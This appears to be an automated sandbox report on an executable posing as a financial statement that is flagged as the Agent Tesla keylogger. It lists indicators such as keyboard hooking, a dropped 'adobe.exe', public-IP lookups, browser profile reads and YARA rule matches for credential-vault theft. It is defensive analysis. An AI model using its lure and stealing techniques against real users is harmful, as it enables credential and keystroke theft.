Source: Statement of Account - USD 16,720.00.exe, 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp, Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2241640405.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, adobe.exe, 00000009.00000002.4487080897.000000000289C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2241640405.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000009.00000002.4487080897.000000000289C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4486848273.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000006.00000002.2241640405.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, adobe.exe, 00000009.00000002.4487080897.000000000289C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49732 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, SKTzxzsJw.cs

.Net Code: yMwXHKL8p

Installs a global keyboard hook

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\adobe\adobe.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\adobe\adobe.exe	Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 6.2.adobe.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 6.2.adobe.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 0_2_0163DB1C	0_2_0163DB1C
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_00F0F208	1_2_00F0F208
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_00F0B3B0	1_2_00F0B3B0
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_00F04A90	1_2_00F04A90
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_00F0ABE0	1_2_00F0ABE0
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_00F03E78	1_2_00F03E78
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_00F041C0	1_2_00F041C0
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_06753730	1_2_06753730
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_06751D74	1_2_06751D74
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_06752A68	1_2_06752A68
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_06752A5B	1_2_06752A5B
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_06752A43	1_2_06752A43
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_06752A20	1_2_06752A20
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_06753753	1_2_06753753
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067B6238	1_2_067B6238
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067B2388	1_2_067B2388
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067B51E8	1_2_067B51E8
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067BC1D8	1_2_067BC1D8
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067B5930	1_2_067B5930
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067BA910	1_2_067BA910
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067B79C8	1_2_067B79C8
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067BE400	1_2_067BE400
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067B72E8	1_2_067B72E8
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067B0040	1_2_067B0040
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Code function: 1_2_067B0007	1_2_067B0007
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 4_2_027325D8	4_2_027325D8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 4_2_0273DB1C	4_2_0273DB1C
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_0125E0F8	6_2_0125E0F8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_0125E8A9	6_2_0125E8A9
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_01254A90	6_2_01254A90
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_01253E78	6_2_01253E78
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_012541C0	6_2_012541C0
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_0125ADA8	6_2_0125ADA8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A36638	6_2_06A36638
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A334A8	6_2_06A334A8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A355E8	6_2_06A355E8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A37DC8	6_2_06A37DC8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A3B26F	6_2_06A3B26F
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A3C1D8	6_2_06A3C1D8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A376E8	6_2_06A376E8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A3E400	6_2_06A3E400
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A35D1B	6_2_06A35D1B
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A30040	6_2_06A30040
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06B22463	6_2_06B22463
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06B22468	6_2_06B22468
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 6_2_06A30007	6_2_06A30007
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 8_2_0288DB1C	8_2_0288DB1C
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_00E0E030	9_2_00E0E030
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_00E0E88A	9_2_00E0E88A
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_00E04A90	9_2_00E04A90
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_00E0AD98	9_2_00E0AD98
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_00E03E78	9_2_00E03E78
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_00E041C0	9_2_00E041C0
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_06756638	9_2_06756638
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_067534A8	9_2_067534A8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_067555E8	9_2_067555E8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_06757DC8	9_2_06757DC8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_0675B26F	9_2_0675B26F
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_0675C1D8	9_2_0675C1D8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_067576E8	9_2_067576E8
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_06752728	9_2_06752728
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_0675E400	9_2_0675E400
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_06755D1B	9_2_06755D1B
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_06750040	9_2_06750040
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_06842463	9_2_06842463
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_06842468	9_2_06842468
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Code function: 9_2_06750007	9_2_06750007

Source: Statement of Account - USD 16,720.00.exe, 00000000.00000002.2018524292.0000000003321000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed9e9e37e-59b8-4cab-97db-2b15f3b5cf75.exe4 vs Statement of Account - USD 16,720.00.exe
Source: Statement of Account - USD 16,720.00.exe, 00000000.00000002.2017374336.000000000164E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Statement of Account - USD 16,720.00.exe
Source: Statement of Account - USD 16,720.00.exe, 00000000.00000000.2012111808.0000000000FEA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFixo.exe* vs Statement of Account - USD 16,720.00.exe
Source: Statement of Account - USD 16,720.00.exe, 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSoftwareGame.dll: vs Statement of Account - USD 16,720.00.exe
Source: Statement of Account - USD 16,720.00.exe, 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed9e9e37e-59b8-4cab-97db-2b15f3b5cf75.exe4 vs Statement of Account - USD 16,720.00.exe
Source: Statement of Account - USD 16,720.00.exe, 00000001.00000002.4484033977.0000000000B59000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Statement of Account - USD 16,720.00.exe
Source: Statement of Account - USD 16,720.00.exe	Binary or memory string: OriginalFilenameFixo.exe* vs Statement of Account - USD 16,720.00.exe

Source: Statement of Account - USD 16,720.00.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 6.2.adobe.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 6.2.adobe.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.Statement of Account - USD 16,720.00.exe.436b580.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: Statement of Account - USD 16,720.00.exe, RandomClothingAttributesxc.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Statement of Account - USD 16,720.00.exe.5c50000.3.raw.unpack, Form1.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Statement of Account - USD 16,720.00.exe.5c50000.3.raw.unpack, Form1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, Form1.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Statement of Account - USD 16,720.00.exe.43ad5b0.2.raw.unpack, Form1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.Statement of Account - USD 16,720.00.exe.44a1c80.1.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/2@2/2

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

File created: C:\Users\user\AppData\Roaming\adobe\adobe.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe

Mutant created: NULL

Source: Statement of Account - USD 16,720.00.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Statement of Account - USD 16,720.00.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Statement of Account - USD 16,720.00.exe	Virustotal: Detection: 33%
Source: Statement of Account - USD 16,720.00.exe	ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

File read: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe "C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe"
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process created: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe "C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Process created: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe "C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Process created: C:\Users\user\AppData\Roaming\Adobe\adobe.exe "C:\Users\user\AppData\Roaming\adobe\adobe.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Section loaded: apphelp.dll	Jump to behavior
